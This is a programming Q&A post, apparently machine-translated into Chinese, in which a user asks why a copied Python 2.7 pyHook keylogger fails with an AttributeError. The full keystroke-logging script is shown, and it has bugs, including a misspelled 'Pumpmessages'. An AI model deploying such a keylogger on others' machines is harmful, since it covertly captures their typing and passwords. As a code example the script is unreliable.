我复制从这段视频的键盘记录器:(https://www.youtube.com/watch?v=8BiOPBsXh0g)和运行代码:没有属性 'HookManager'
import pyHook, sys, logging, pythoncom
file_log = 'C:\Users\User\Google Drive\Python'
def OnKeyboardEvent(event):
logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.Pumpmessages()
这将返回错误:
Traceback (most recent call last):
File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module>
import pyHook, sys, logging, pythoncom
File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
hooks_manager = pyHook.HookManager()
AttributeError: 'module' object has no attribute 'HookManager'
我正在运行的Python 2.7 .11和一台windows电脑。 我不知道问题是什么;请帮忙。 谢谢
感谢您的帮助,但这似乎没有解决问题,但我现在有一个工作版本的程序,但是。感谢您花时间回答我的问题 – Crelic
兄弟我已经测试过这个程序,它工作正常。 –